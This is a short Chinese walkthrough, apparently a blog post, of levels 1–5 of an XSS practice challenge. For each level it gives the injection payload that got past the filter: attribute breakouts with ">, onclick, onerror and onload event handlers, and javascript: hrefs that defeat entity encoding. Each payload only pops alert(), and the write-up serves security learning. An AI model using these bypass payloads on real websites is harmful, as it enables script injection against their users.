1、level 1
只接注入xss语句
2、level 2
注入常用语句，发现不正确，查看源码，发现插入语句在input标签中，需要想办法闭合input标签。用“>闭合，输入"><script>alert(“xss”)</script>
3、level 3
发现html实体化编码，会将<>编码为<与>
onclick 事件：onclick 事件会在元素被点击时发生
可以用onclick绕过htnl实体化编码输入： ' οnclick=alert() '
注入后无回显，再次点击输入框获得回显
4、level 4
与上题类似，过滤了<>,尝试 ' οnclick=alert() '，尝试后发现不对，查看源码
发现闭合方式不对，尝试：" οnclick=alert() ",成功
5、 level 5
发现两种方式都不可以，寻找其他绕过方式
1.尝试<img src=1 οnerrοr=alert(/hck/)>不行
<body οnlοad=alert("xss")>不行
<a href=javascript:alert('a')>发现不行但有回显，查看源码，问题是没有闭合标签
" /> <a href=javascript:alert('a')>成功
扫一扫
7199
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
